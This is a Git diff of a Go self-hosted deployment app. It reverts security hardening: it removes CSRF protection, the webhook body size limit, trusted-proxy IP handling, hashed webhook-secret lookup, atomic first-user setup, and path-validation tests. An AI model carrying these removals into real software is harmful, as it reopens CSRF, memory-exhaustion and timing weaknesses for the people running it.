assert.Equal(t, http.StatusOK, recorder.Code)
body := recorder.Body.String()
assert.Contains(t, body, "</html>")
assert.NotContains(t, body, "Internal Server Error")
}

View File

@@ -15,10 +15,14 @@ const (
func (h *Handlers) HandleSetupGET() http.HandlerFunc { func (h *Handlers) HandleSetupGET() http.HandlerFunc {
tmpl := templates.GetParsed() tmpl := templates.GetParsed()
return func(writer http.ResponseWriter, request *http.Request) { return func(writer http.ResponseWriter, _ *http.Request) {
data := h.addGlobals(map[string]any{}, request) data := h.addGlobals(map[string]any{})
h.renderTemplate(writer, tmpl, "setup.html", data) err := tmpl.ExecuteTemplate(writer, "setup.html", data)
if err != nil {
h.log.Error("template execution failed", "error", err)
http.Error(writer, "Internal Server Error", http.StatusInternalServerError)
}
} }
} }
@@ -50,15 +54,14 @@ func validateSetupForm(formData setupFormData) string {
func (h *Handlers) renderSetupError( func (h *Handlers) renderSetupError(
tmpl *templates.TemplateExecutor, tmpl *templates.TemplateExecutor,
writer http.ResponseWriter, writer http.ResponseWriter,
request *http.Request,
username string, username string,
errorMsg string, errorMsg string,
) { ) {
data := h.addGlobals(map[string]any{ data := h.addGlobals(map[string]any{
"Username": username, "Username": username,
"Error": errorMsg, "Error": errorMsg,
}, request) })
h.renderTemplate(writer, tmpl, "setup.html", data) _ = tmpl.ExecuteTemplate(writer, "setup.html", data)
} }
// HandleSetupPOST handles the setup form submission. // HandleSetupPOST handles the setup form submission.
@@ -80,7 +83,7 @@ func (h *Handlers) HandleSetupPOST() http.HandlerFunc {
} }
if validationErr := validateSetupForm(formData); validationErr != "" { if validationErr := validateSetupForm(formData); validationErr != "" {
h.renderSetupError(tmpl, writer, request, formData.username, validationErr) h.renderSetupError(tmpl, writer, formData.username, validationErr)
return return
} }
@@ -92,7 +95,7 @@ func (h *Handlers) HandleSetupPOST() http.HandlerFunc {
) )
if createErr != nil { if createErr != nil {
h.log.Error("failed to create user", "error", createErr) h.log.Error("failed to create user", "error", createErr)
h.renderSetupError(tmpl, writer, request, formData.username, "Failed to create user") h.renderSetupError(tmpl, writer, formData.username, "Failed to create user")
return return
} }
@@ -103,7 +106,6 @@ func (h *Handlers) HandleSetupPOST() http.HandlerFunc {
h.renderSetupError( h.renderSetupError(
tmpl, tmpl,
writer, writer,
request,
formData.username, formData.username,
"Failed to create session", "Failed to create session",
) )

View File

@@ -1,40 +0,0 @@
package handlers_test
import (
"testing"
"git.eeqj.de/sneak/upaas/internal/handlers"
)
func TestSanitizeTail(t *testing.T) {
t.Parallel()
tests := []struct {
name string
input string
expected string
}{
{"empty uses default", "", handlers.DefaultLogTail},
{"valid small number", "50", "50"},
{"valid max boundary", "500", "500"},
{"exceeds max clamped", "501", "500"},
{"very large clamped", "999999", "500"},
{"non-numeric uses default", "abc", handlers.DefaultLogTail},
{"all keyword uses default", "all", handlers.DefaultLogTail},
{"negative uses default", "-1", handlers.DefaultLogTail},
{"zero uses default", "0", handlers.DefaultLogTail},
{"float uses default", "1.5", handlers.DefaultLogTail},
{"one is valid", "1", "1"},
}
for _, tc := range tests {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
got := handlers.SanitizeTail(tc.input)
if got != tc.expected {
t.Errorf("sanitizeTail(%q) = %q, want %q", tc.input, got, tc.expected)
}
})
}
}

View File

@@ -1,34 +0,0 @@
package handlers //nolint:testpackage // tests exported ValidateVolumePath function
import "testing"
func TestValidateVolumePath(t *testing.T) {
t.Parallel()
tests := []struct {
name string
path string
wantErr bool
}{
{"valid absolute path", "/data/myapp", false},
{"root path", "/", false},
{"empty path", "", true},
{"relative path", "data/myapp", true},
{"path with dotdot", "/data/../etc", true},
{"path with trailing slash", "/data/", true},
{"path with double slash", "/data//myapp", true},
{"single dot path", ".", true},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
t.Parallel()
err := ValidateVolumePath(tt.path)
if (err != nil) != tt.wantErr {
t.Errorf("ValidateVolumePath(%q) error = %v, wantErr %v",
tt.path, err, tt.wantErr)
}
})
}
}

View File

@@ -9,9 +9,6 @@ import (
"git.eeqj.de/sneak/upaas/internal/models" "git.eeqj.de/sneak/upaas/internal/models"
) )
// maxWebhookBodySize is the maximum allowed size of a webhook request body (1MB).
const maxWebhookBodySize = 1 << 20
// HandleWebhook handles incoming Gitea webhooks. // HandleWebhook handles incoming Gitea webhooks.
func (h *Handlers) HandleWebhook() http.HandlerFunc { func (h *Handlers) HandleWebhook() http.HandlerFunc {
return func(writer http.ResponseWriter, request *http.Request) { return func(writer http.ResponseWriter, request *http.Request) {
@@ -41,8 +38,8 @@ func (h *Handlers) HandleWebhook() http.HandlerFunc {
return return
} }
// Read request body with size limit to prevent memory exhaustion // Read request body
body, readErr := io.ReadAll(io.LimitReader(request.Body, maxWebhookBodySize)) body, readErr := io.ReadAll(request.Body)
if readErr != nil { if readErr != nil {
h.log.Error("failed to read webhook body", "error", readErr) h.log.Error("failed to read webhook body", "error", readErr)
http.Error(writer, "Bad Request", http.StatusBadRequest) http.Error(writer, "Bad Request", http.StatusBadRequest)

View File

@@ -2,19 +2,17 @@
package middleware package middleware
import ( import (
"fmt"
"log/slog" "log/slog"
"math" "math"
"net" "net"
"net/http" "net/http"
"strconv"
"strings"
"sync" "sync"
"time" "time"
"github.com/99designs/basicauth-go" "github.com/99designs/basicauth-go"
"github.com/go-chi/chi/v5/middleware" "github.com/go-chi/chi/v5/middleware"
"github.com/go-chi/cors" "github.com/go-chi/cors"
"github.com/gorilla/csrf"
"go.uber.org/fx" "go.uber.org/fx"
"golang.org/x/time/rate" "golang.org/x/time/rate"
@@ -91,7 +89,7 @@ func (m *Middleware) Logging() func(http.Handler) http.Handler {
"request_id", reqID, "request_id", reqID,
"referer", request.Referer(), "referer", request.Referer(),
"proto", request.Proto, "proto", request.Proto,
"remoteIP", realIP(request), "remoteIP", ipFromHostPort(request.RemoteAddr),
"status", lrw.statusCode, "status", lrw.statusCode,
"latency_ms", latency.Milliseconds(), "latency_ms", latency.Milliseconds(),
) )
@@ -111,71 +109,6 @@ func ipFromHostPort(hostPort string) string {
return host return host
} }
// trustedProxyNets are RFC1918 and loopback CIDRs whose proxy headers we trust.
//
//nolint:gochecknoglobals // package-level constant nets parsed once
var trustedProxyNets = func() []*net.IPNet {
cidrs := []string{
"10.0.0.0/8",
"172.16.0.0/12",
"192.168.0.0/16",
"127.0.0.0/8",
"::1/128",
"fc00::/7",
}
nets := make([]*net.IPNet, 0, len(cidrs))
for _, cidr := range cidrs {
_, n, _ := net.ParseCIDR(cidr)
nets = append(nets, n)
}
return nets
}()
// isTrustedProxy reports whether ip is in an RFC1918, loopback, or ULA range.
func isTrustedProxy(ip net.IP) bool {
for _, n := range trustedProxyNets {
if n.Contains(ip) {
return true
}
}
return false
}
// realIP extracts the client's real IP address from the request.
// Proxy headers (X-Real-IP, X-Forwarded-For) are only trusted when the
// direct connection originates from an RFC1918/loopback address.
// Otherwise, headers are ignored and RemoteAddr is used (fail closed).
func realIP(r *http.Request) string {
addr := ipFromHostPort(r.RemoteAddr)
remoteIP := net.ParseIP(addr)
// Only trust proxy headers from private/loopback sources.
if remoteIP == nil || !isTrustedProxy(remoteIP) {
return addr
}
// 1. X-Real-IP (set by Traefik/nginx)
if ip := strings.TrimSpace(r.Header.Get("X-Real-IP")); ip != "" {
return ip
}
// 2. X-Forwarded-For: take the first (leftmost/client) IP
if xff := r.Header.Get("X-Forwarded-For"); xff != "" {
if parts := strings.SplitN(xff, ",", 2); len(parts) > 0 { //nolint:mnd
if ip := strings.TrimSpace(parts[0]); ip != "" {
return ip
}
}
}
// 3. Fall back to RemoteAddr
return addr
}
// CORS returns CORS middleware. // CORS returns CORS middleware.
func (m *Middleware) CORS() func(http.Handler) http.Handler { func (m *Middleware) CORS() func(http.Handler) http.Handler {
return cors.Handler(cors.Options{ return cors.Handler(cors.Options{
@@ -223,15 +156,6 @@ func (m *Middleware) SessionAuth() func(http.Handler) http.Handler {
} }
} }
// CSRF returns CSRF protection middleware using gorilla/csrf.
func (m *Middleware) CSRF() func(http.Handler) http.Handler {
return csrf.Protect(
[]byte(m.params.Config.SessionSecret),
csrf.Secure(false), // Allow HTTP for development; reverse proxy handles TLS
csrf.Path("/"),
)
}
// loginRateLimit configures the login rate limiter. // loginRateLimit configures the login rate limiter.
const ( const (
loginRateLimit = rate.Limit(5.0 / 60.0) // 5 requests per 60 seconds loginRateLimit = rate.Limit(5.0 / 60.0) // 5 requests per 60 seconds
@@ -268,7 +192,6 @@ func (i *ipLimiter) sweep(now time.Time) {
delete(i.limiters, ip) delete(i.limiters, ip)
} }
} }
i.lastSweep = now i.lastSweep = now
} }
@@ -290,7 +213,6 @@ func (i *ipLimiter) getLimiter(ip string) *rate.Limiter {
} }
i.limiters[ip] = entry i.limiters[ip] = entry
} }
entry.lastSeen = now entry.lastSeen = now
return entry.limiter return entry.limiter
@@ -309,7 +231,7 @@ func (m *Middleware) LoginRateLimit() func(http.Handler) http.Handler {
writer http.ResponseWriter, writer http.ResponseWriter,
request *http.Request, request *http.Request,
) { ) {
ip := realIP(request) ip := ipFromHostPort(request.RemoteAddr)
limiter := loginLimiter.getLimiter(ip) limiter := loginLimiter.getLimiter(ip)
if !limiter.Allow() { if !limiter.Allow() {
@@ -321,9 +243,11 @@ func (m *Middleware) LoginRateLimit() func(http.Handler) http.Handler {
reservation := limiter.Reserve() reservation := limiter.Reserve()
delay := reservation.Delay() delay := reservation.Delay()
reservation.Cancel() reservation.Cancel()
retryAfter := int(math.Ceil(delay.Seconds()))
retryAfter := max(int(math.Ceil(delay.Seconds())), 1) if retryAfter < 1 {
writer.Header().Set("Retry-After", strconv.Itoa(retryAfter)) retryAfter = 1
}
writer.Header().Set("Retry-After", fmt.Sprintf("%d", retryAfter))
http.Error( http.Error(
writer, writer,
@@ -339,27 +263,6 @@ func (m *Middleware) LoginRateLimit() func(http.Handler) http.Handler {
} }
} }
// APISessionAuth returns middleware that requires session authentication for API routes.
// Unlike SessionAuth, it returns JSON 401 responses instead of redirecting to /login.
func (m *Middleware) APISessionAuth() func(http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(
writer http.ResponseWriter,
request *http.Request,
) {
user, err := m.params.Auth.GetCurrentUser(request.Context(), request)
if err != nil || user == nil {
writer.Header().Set("Content-Type", "application/json")
http.Error(writer, `{"error":"unauthorized"}`, http.StatusUnauthorized)
return
}
next.ServeHTTP(writer, request)
})
}
}
// SetupRequired returns middleware that redirects to setup if no user exists. // SetupRequired returns middleware that redirects to setup if no user exists.
func (m *Middleware) SetupRequired() func(http.Handler) http.Handler { func (m *Middleware) SetupRequired() func(http.Handler) http.Handler {
return func(next http.Handler) http.Handler { return func(next http.Handler) http.Handler {

View File

@@ -1,4 +1,4 @@
package middleware //nolint:testpackage // tests unexported types and globals package middleware
import ( import (
"log/slog" "log/slog"
@@ -23,7 +23,6 @@ func newTestMiddleware(t *testing.T) *Middleware {
} }
} }
//nolint:paralleltest // mutates global loginLimiter
func TestLoginRateLimitAllowsUpToBurst(t *testing.T) { func TestLoginRateLimitAllowsUpToBurst(t *testing.T) {
// Reset the global limiter to get clean state // Reset the global limiter to get clean state
loginLimiter = newIPLimiter() loginLimiter = newIPLimiter()
@@ -51,7 +50,6 @@ func TestLoginRateLimitAllowsUpToBurst(t *testing.T) {
assert.Equal(t, http.StatusTooManyRequests, rec.Code, "6th request should be rate limited") assert.Equal(t, http.StatusTooManyRequests, rec.Code, "6th request should be rate limited")
} }
//nolint:paralleltest // mutates global loginLimiter
func TestLoginRateLimitIsolatesIPs(t *testing.T) { func TestLoginRateLimitIsolatesIPs(t *testing.T) {
loginLimiter = newIPLimiter() loginLimiter = newIPLimiter()
@@ -84,7 +82,6 @@ func TestLoginRateLimitIsolatesIPs(t *testing.T) {
assert.Equal(t, http.StatusOK, rec2.Code, "different IP should not be rate limited") assert.Equal(t, http.StatusOK, rec2.Code, "different IP should not be rate limited")
} }
//nolint:paralleltest // mutates global loginLimiter
func TestLoginRateLimitReturns429Body(t *testing.T) { func TestLoginRateLimitReturns429Body(t *testing.T) {
loginLimiter = newIPLimiter() loginLimiter = newIPLimiter()
@@ -112,8 +109,6 @@ func TestLoginRateLimitReturns429Body(t *testing.T) {
} }
func TestIPLimiterEvictsStaleEntries(t *testing.T) { func TestIPLimiterEvictsStaleEntries(t *testing.T) {
t.Parallel()
il := newIPLimiter() il := newIPLimiter()
// Add an entry and backdate its lastSeen // Add an entry and backdate its lastSeen
@@ -135,7 +130,6 @@ func TestIPLimiterEvictsStaleEntries(t *testing.T) {
il.mu.Lock() il.mu.Lock()
defer il.mu.Unlock() defer il.mu.Unlock()
assert.NotContains(t, il.limiters, "1.2.3.4", "stale entry should be evicted") assert.NotContains(t, il.limiters, "1.2.3.4", "stale entry should be evicted")
assert.Contains(t, il.limiters, "5.6.7.8", "fresh entry should remain") assert.Contains(t, il.limiters, "5.6.7.8", "fresh entry should remain")
} }

View File

@@ -1,157 +0,0 @@
package middleware //nolint:testpackage // tests unexported realIP function
import (
"context"
"net"
"net/http"
"testing"
)
func TestRealIP(t *testing.T) { //nolint:funlen // table-driven test
t.Parallel()
tests := []struct {
name string
remoteAddr string
xRealIP string
xff string
want string
}{
// === Trusted proxy (RFC1918 / loopback) — headers ARE honoured ===
{
name: "trusted: X-Real-IP from 10.x",
remoteAddr: "10.0.0.1:1234",
xRealIP: "203.0.113.5",
xff: "198.51.100.1, 10.0.0.1",
want: "203.0.113.5",
},
{
name: "trusted: XFF from 10.x when no X-Real-IP",
remoteAddr: "10.0.0.1:1234",
xff: "198.51.100.1, 10.0.0.1",
want: "198.51.100.1",
},
{
name: "trusted: XFF single IP from 10.x",
remoteAddr: "10.0.0.1:1234",
xff: "203.0.113.10",
want: "203.0.113.10",
},
{
name: "trusted: falls back to RemoteAddr (192.168.x)",
remoteAddr: "192.168.1.1:5678",
want: "192.168.1.1",
},
{
name: "trusted: RemoteAddr without port",
remoteAddr: "192.168.1.1",
want: "192.168.1.1",
},
{
name: "trusted: X-Real-IP with whitespace from 10.x",
remoteAddr: "10.0.0.1:1234",
xRealIP: " 203.0.113.5 ",
want: "203.0.113.5",
},
{
name: "trusted: XFF with whitespace from 10.x",
remoteAddr: "10.0.0.1:1234",
xff: " 198.51.100.1 , 10.0.0.1",
want: "198.51.100.1",
},
{
name: "trusted: empty X-Real-IP falls through to XFF from 10.x",
remoteAddr: "10.0.0.1:1234",
xRealIP: " ",
xff: "198.51.100.1",
want: "198.51.100.1",
},
{
name: "trusted: loopback honours X-Real-IP",
remoteAddr: "127.0.0.1:9999",
xRealIP: "93.184.216.34",
want: "93.184.216.34",
},
{
name: "trusted: 172.16.x honours XFF",
remoteAddr: "172.16.0.1:4321",
xff: "8.8.8.8",
want: "8.8.8.8",
},
// === Untrusted proxy (public IP) — headers IGNORED, use RemoteAddr ===
{
name: "untrusted: X-Real-IP ignored from public IP",
remoteAddr: "203.0.113.50:1234",
xRealIP: "10.0.0.1",
want: "203.0.113.50",
},
{
name: "untrusted: XFF ignored from public IP",
remoteAddr: "198.51.100.99:5678",
xff: "10.0.0.1, 192.168.1.1",
want: "198.51.100.99",
},
{
name: "untrusted: both headers ignored from public IP",
remoteAddr: "8.8.8.8:443",
xRealIP: "1.2.3.4",
xff: "5.6.7.8",
want: "8.8.8.8",
},
{
name: "untrusted: no headers, public RemoteAddr",
remoteAddr: "93.184.216.34:8080",
want: "93.184.216.34",
},
{
name: "untrusted: public RemoteAddr without port",
remoteAddr: "93.184.216.34",
want: "93.184.216.34",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
t.Parallel()
req, _ := http.NewRequestWithContext(context.Background(), http.MethodGet, "/", nil)
req.RemoteAddr = tt.remoteAddr
if tt.xRealIP != "" {
req.Header.Set("X-Real-IP", tt.xRealIP)
}
if tt.xff != "" {
req.Header.Set("X-Forwarded-For", tt.xff)
}
got := realIP(req)
if got != tt.want {
t.Errorf("realIP() = %q, want %q", got, tt.want)
}
})
}
}
func TestIsTrustedProxy(t *testing.T) {
t.Parallel()
trusted := []string{"10.0.0.1", "10.255.255.255", "172.16.0.1", "172.31.255.255",
"192.168.0.1", "192.168.255.255", "127.0.0.1", "127.255.255.255", "::1"}
untrusted := []string{"8.8.8.8", "203.0.113.1", "172.32.0.1", "11.0.0.1", "2001:db8::1"}
for _, addr := range trusted {
ip := net.ParseIP(addr)
if !isTrustedProxy(ip) {
t.Errorf("expected %s to be trusted", addr)
}
}
for _, addr := range untrusted {
ip := net.ParseIP(addr)
if isTrustedProxy(ip) {
t.Errorf("expected %s to be untrusted", addr)
}
}
}

View File

@@ -10,12 +10,6 @@ import (
"git.eeqj.de/sneak/upaas/internal/database" "git.eeqj.de/sneak/upaas/internal/database"
) )
// appColumns is the standard column list for app queries.
const appColumns = `id, name, repo_url, branch, dockerfile_path, webhook_secret,
ssh_private_key, ssh_public_key, image_id, status,
docker_network, ntfy_topic, slack_webhook, webhook_secret_hash,
previous_image_id, created_at, updated_at`
// AppStatus represents the status of an app. // AppStatus represents the status of an app.
type AppStatus string type AppStatus string
@@ -37,13 +31,11 @@ type App struct {
RepoURL string RepoURL string
Branch string Branch string
DockerfilePath string DockerfilePath string
WebhookSecret string WebhookSecret string
WebhookSecretHash string SSHPrivateKey string
SSHPrivateKey string
SSHPublicKey string SSHPublicKey string
ImageID sql.NullString ImageID sql.NullString
PreviousImageID sql.NullString Status AppStatus
Status AppStatus
DockerNetwork sql.NullString DockerNetwork sql.NullString
NtfyTopic sql.NullString NtfyTopic sql.NullString
SlackWebhook sql.NullString SlackWebhook sql.NullString
@@ -78,8 +70,11 @@ func (a *App) Delete(ctx context.Context) error {
// Reload refreshes the app from the database. // Reload refreshes the app from the database.
func (a *App) Reload(ctx context.Context) error { func (a *App) Reload(ctx context.Context) error {
row := a.db.QueryRow(ctx, row := a.db.QueryRow(ctx, `
"SELECT "+appColumns+" FROM apps WHERE id = ?", SELECT id, name, repo_url, branch, dockerfile_path, webhook_secret,
ssh_private_key, ssh_public_key, image_id, status,
docker_network, ntfy_topic, slack_webhook, created_at, updated_at
FROM apps WHERE id = ?`,
a.ID, a.ID,
) )
@@ -141,15 +136,13 @@ func (a *App) insert(ctx context.Context) error {
INSERT INTO apps ( INSERT INTO apps (
id, name, repo_url, branch, dockerfile_path, webhook_secret, id, name, repo_url, branch, dockerfile_path, webhook_secret,
ssh_private_key, ssh_public_key, image_id, status, ssh_private_key, ssh_public_key, image_id, status,
docker_network, ntfy_topic, slack_webhook, webhook_secret_hash, docker_network, ntfy_topic, slack_webhook
previous_image_id ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`
_, err := a.db.Exec(ctx, query, _, err := a.db.Exec(ctx, query,
a.ID, a.Name, a.RepoURL, a.Branch, a.DockerfilePath, a.WebhookSecret, a.ID, a.Name, a.RepoURL, a.Branch, a.DockerfilePath, a.WebhookSecret,
a.SSHPrivateKey, a.SSHPublicKey, a.ImageID, a.Status, a.SSHPrivateKey, a.SSHPublicKey, a.ImageID, a.Status,
a.DockerNetwork, a.NtfyTopic, a.SlackWebhook, a.WebhookSecretHash, a.DockerNetwork, a.NtfyTopic, a.SlackWebhook,
a.PreviousImageID,
) )
if err != nil { if err != nil {
return err return err
@@ -164,7 +157,6 @@ func (a *App) update(ctx context.Context) error {
name = ?, repo_url = ?, branch = ?, dockerfile_path = ?, name = ?, repo_url = ?, branch = ?, dockerfile_path = ?,
image_id = ?, status = ?, image_id = ?, status = ?,
docker_network = ?, ntfy_topic = ?, slack_webhook = ?, docker_network = ?, ntfy_topic = ?, slack_webhook = ?,
previous_image_id = ?,
updated_at = CURRENT_TIMESTAMP updated_at = CURRENT_TIMESTAMP
WHERE id = ?` WHERE id = ?`
@@ -172,7 +164,6 @@ func (a *App) update(ctx context.Context) error {
a.Name, a.RepoURL, a.Branch, a.DockerfilePath, a.Name, a.RepoURL, a.Branch, a.DockerfilePath,
a.ImageID, a.Status, a.ImageID, a.Status,
a.DockerNetwork, a.NtfyTopic, a.SlackWebhook, a.DockerNetwork, a.NtfyTopic, a.SlackWebhook,
a.PreviousImageID,
a.ID, a.ID,
) )
@@ -186,8 +177,6 @@ func (a *App) scan(row *sql.Row) error {
&a.SSHPrivateKey, &a.SSHPublicKey, &a.SSHPrivateKey, &a.SSHPublicKey,
&a.ImageID, &a.Status, &a.ImageID, &a.Status,
&a.DockerNetwork, &a.NtfyTopic, &a.SlackWebhook, &a.DockerNetwork, &a.NtfyTopic, &a.SlackWebhook,
&a.WebhookSecretHash,
&a.PreviousImageID,
&a.CreatedAt, &a.UpdatedAt, &a.CreatedAt, &a.UpdatedAt,
) )
} }
@@ -204,8 +193,6 @@ func scanApps(appDB *database.Database, rows *sql.Rows) ([]*App, error) {
&app.SSHPrivateKey, &app.SSHPublicKey, &app.SSHPrivateKey, &app.SSHPublicKey,
&app.ImageID, &app.Status, &app.ImageID, &app.Status,
&app.DockerNetwork, &app.NtfyTopic, &app.SlackWebhook, &app.DockerNetwork, &app.NtfyTopic, &app.SlackWebhook,
&app.WebhookSecretHash,
&app.PreviousImageID,
&app.CreatedAt, &app.UpdatedAt, &app.CreatedAt, &app.UpdatedAt,
) )
if scanErr != nil { if scanErr != nil {
@@ -234,8 +221,11 @@ func FindApp(
app := NewApp(appDB) app := NewApp(appDB)
app.ID = appID app.ID = appID
row := appDB.QueryRow(ctx, row := appDB.QueryRow(ctx, `
"SELECT "+appColumns+" FROM apps WHERE id = ?", SELECT id, name, repo_url, branch, dockerfile_path, webhook_secret,
ssh_private_key, ssh_public_key, image_id, status,
docker_network, ntfy_topic, slack_webhook, created_at, updated_at
FROM apps WHERE id = ?`,
appID, appID,
) )
@@ -251,8 +241,7 @@ func FindApp(
return app, nil return app, nil
} }
// FindAppByWebhookSecret finds an app by webhook secret using a SHA-256 hash // FindAppByWebhookSecret finds an app by webhook secret.
// lookup. This avoids SQL string comparison timing side-channels.
// //
//nolint:nilnil // returning nil,nil is idiomatic for "not found" in Active Record //nolint:nilnil // returning nil,nil is idiomatic for "not found" in Active Record
func FindAppByWebhookSecret( func FindAppByWebhookSecret(
@@ -261,11 +250,13 @@ func FindAppByWebhookSecret(
secret string, secret string,
) (*App, error) { ) (*App, error) {
app := NewApp(appDB) app := NewApp(appDB)
secretHash := database.HashWebhookSecret(secret)
row := appDB.QueryRow(ctx, row := appDB.QueryRow(ctx, `
"SELECT "+appColumns+" FROM apps WHERE webhook_secret_hash = ?", SELECT id, name, repo_url, branch, dockerfile_path, webhook_secret,
secretHash, ssh_private_key, ssh_public_key, image_id, status,
docker_network, ntfy_topic, slack_webhook, created_at, updated_at
FROM apps WHERE webhook_secret = ?`,
secret,
) )
err := app.scan(row) err := app.scan(row)
@@ -282,8 +273,11 @@ func FindAppByWebhookSecret(
// AllApps returns all apps ordered by name. // AllApps returns all apps ordered by name.
func AllApps(ctx context.Context, appDB *database.Database) ([]*App, error) { func AllApps(ctx context.Context, appDB *database.Database) ([]*App, error) {
rows, err := appDB.Query(ctx, rows, err := appDB.Query(ctx, `
"SELECT "+appColumns+" FROM apps ORDER BY name", SELECT id, name, repo_url, branch, dockerfile_path, webhook_secret,
ssh_private_key, ssh_public_key, image_id, status,
docker_network, ntfy_topic, slack_webhook, created_at, updated_at
FROM apps ORDER BY name`,
) )
if err != nil { if err != nil {
return nil, fmt.Errorf("querying all apps: %w", err) return nil, fmt.Errorf("querying all apps: %w", err)

View File

@@ -19,7 +19,6 @@ const (
DeploymentStatusDeploying DeploymentStatus = "deploying" DeploymentStatusDeploying DeploymentStatus = "deploying"
DeploymentStatusSuccess DeploymentStatus = "success" DeploymentStatusSuccess DeploymentStatus = "success"
DeploymentStatusFailed DeploymentStatus = "failed" DeploymentStatusFailed DeploymentStatus = "failed"
DeploymentStatusCancelled DeploymentStatus = "cancelled"
) )
// Display constants. // Display constants.

View File

@@ -297,7 +297,6 @@ func TestAllApps(t *testing.T) {
app.Branch = testBranch app.Branch = testBranch
app.DockerfilePath = "Dockerfile" app.DockerfilePath = "Dockerfile"
app.WebhookSecret = "secret-" + strconv.Itoa(idx) app.WebhookSecret = "secret-" + strconv.Itoa(idx)
app.WebhookSecretHash = database.HashWebhookSecret(app.WebhookSecret)
app.SSHPrivateKey = "private" app.SSHPrivateKey = "private"
app.SSHPublicKey = "public" app.SSHPublicKey = "public"
@@ -792,7 +791,6 @@ func createTestApp(t *testing.T, testDB *database.Database) *models.App {
app.Branch = testBranch app.Branch = testBranch
app.DockerfilePath = "Dockerfile" app.DockerfilePath = "Dockerfile"
app.WebhookSecret = "secret-" + t.Name() app.WebhookSecret = "secret-" + t.Name()
app.WebhookSecretHash = database.HashWebhookSecret(app.WebhookSecret)
app.SSHPrivateKey = "private" app.SSHPrivateKey = "private"
app.SSHPublicKey = "public" app.SSHPublicKey = "public"

View File

@@ -135,61 +135,6 @@ func FindUserByUsername(
return user, nil return user, nil
} }
// CreateFirstUser atomically checks that no users exist and inserts the admin user.
// Returns nil, nil if a user already exists (setup already completed).
func CreateFirstUser(
ctx context.Context,
db *database.Database,
username, passwordHash string,
) (*User, error) {
tx, err := db.BeginTx(ctx, nil)
if err != nil {
return nil, fmt.Errorf("beginning transaction: %w", err)
}
defer func() { _ = tx.Rollback() }()
// Check if any user exists within the transaction.
var count int
err = tx.QueryRowContext(ctx, "SELECT COUNT(*) FROM users").Scan(&count)
if err != nil {
return nil, fmt.Errorf("checking user count: %w", err)
}
if count > 0 {
return nil, nil //nolint:nilnil // nil,nil signals setup already completed
}
result, err := tx.ExecContext(ctx,
"INSERT INTO users (username, password_hash) VALUES (?, ?)",
username, passwordHash,
)
if err != nil {
return nil, fmt.Errorf("inserting user: %w", err)
}
err = tx.Commit()
if err != nil {
return nil, fmt.Errorf("committing transaction: %w", err)
}
insertID, err := result.LastInsertId()
if err != nil {
return nil, fmt.Errorf("getting last insert id: %w", err)
}
user := NewUser(db)
user.ID = insertID
err = user.Reload(ctx)
if err != nil {
return nil, fmt.Errorf("reloading user: %w", err)
}
return user, nil
}
// UserExists checks if any user exists in the database. // UserExists checks if any user exists in the database.
func UserExists(ctx context.Context, db *database.Database) (bool, error) { func UserExists(ctx context.Context, db *database.Database) (bool, error) {
var count int var count int

View File

@@ -37,22 +37,18 @@ func (s *Server) SetupRoutes() {
http.FileServer(http.FS(static.Static)), http.FileServer(http.FS(static.Static)),
)) ))
// Webhook endpoint (uses secret for auth, not session — no CSRF) // Public routes
s.router.Get("/login", s.handlers.HandleLoginGET())
s.router.With(s.mw.LoginRateLimit()).Post("/login", s.handlers.HandleLoginPOST())
s.router.Get("/setup", s.handlers.HandleSetupGET())
s.router.Post("/setup", s.handlers.HandleSetupPOST())
// Webhook endpoint (uses secret for auth, not session)
s.router.Post("/webhook/{secret}", s.handlers.HandleWebhook()) s.router.Post("/webhook/{secret}", s.handlers.HandleWebhook())
// All HTML-serving routes get CSRF protection // Protected routes (require session auth)
s.router.Group(func(r chi.Router) { s.router.Group(func(r chi.Router) {
r.Use(s.mw.CSRF()) r.Use(s.mw.SessionAuth())
// Public routes
r.Get("/login", s.handlers.HandleLoginGET())
r.With(s.mw.LoginRateLimit()).Post("/login", s.handlers.HandleLoginPOST())
r.Get("/setup", s.handlers.HandleSetupGET())
r.Post("/setup", s.handlers.HandleSetupPOST())
// Protected routes (require session auth)
r.Group(func(r chi.Router) {
r.Use(s.mw.SessionAuth())
// Dashboard // Dashboard
r.Get("/", s.handlers.HandleDashboard()) r.Get("/", s.handlers.HandleDashboard())
@@ -68,7 +64,6 @@ func (s *Server) SetupRoutes() {
r.Post("/apps/{id}", s.handlers.HandleAppUpdate()) r.Post("/apps/{id}", s.handlers.HandleAppUpdate())
r.Post("/apps/{id}/delete", s.handlers.HandleAppDelete()) r.Post("/apps/{id}/delete", s.handlers.HandleAppDelete())
r.Post("/apps/{id}/deploy", s.handlers.HandleAppDeploy()) r.Post("/apps/{id}/deploy", s.handlers.HandleAppDeploy())
r.Post("/apps/{id}/deployments/cancel", s.handlers.HandleCancelDeploy())
r.Get("/apps/{id}/deployments", s.handlers.HandleAppDeployments()) r.Get("/apps/{id}/deployments", s.handlers.HandleAppDeployments())
r.Get("/apps/{id}/deployments/{deploymentID}/logs", s.handlers.HandleDeploymentLogsAPI()) r.Get("/apps/{id}/deployments/{deploymentID}/logs", s.handlers.HandleDeploymentLogsAPI())
r.Get("/apps/{id}/deployments/{deploymentID}/download", s.handlers.HandleDeploymentLogDownload()) r.Get("/apps/{id}/deployments/{deploymentID}/download", s.handlers.HandleDeploymentLogDownload())
@@ -76,50 +71,25 @@ func (s *Server) SetupRoutes() {
r.Get("/apps/{id}/container-logs", s.handlers.HandleContainerLogsAPI()) r.Get("/apps/{id}/container-logs", s.handlers.HandleContainerLogsAPI())
r.Get("/apps/{id}/status", s.handlers.HandleAppStatusAPI()) r.Get("/apps/{id}/status", s.handlers.HandleAppStatusAPI())
r.Get("/apps/{id}/recent-deployments", s.handlers.HandleRecentDeploymentsAPI()) r.Get("/apps/{id}/recent-deployments", s.handlers.HandleRecentDeploymentsAPI())
r.Post("/apps/{id}/rollback", s.handlers.HandleAppRollback())
r.Post("/apps/{id}/restart", s.handlers.HandleAppRestart()) r.Post("/apps/{id}/restart", s.handlers.HandleAppRestart())
r.Post("/apps/{id}/stop", s.handlers.HandleAppStop()) r.Post("/apps/{id}/stop", s.handlers.HandleAppStop())
r.Post("/apps/{id}/start", s.handlers.HandleAppStart()) r.Post("/apps/{id}/start", s.handlers.HandleAppStart())
// Environment variables // Environment variables
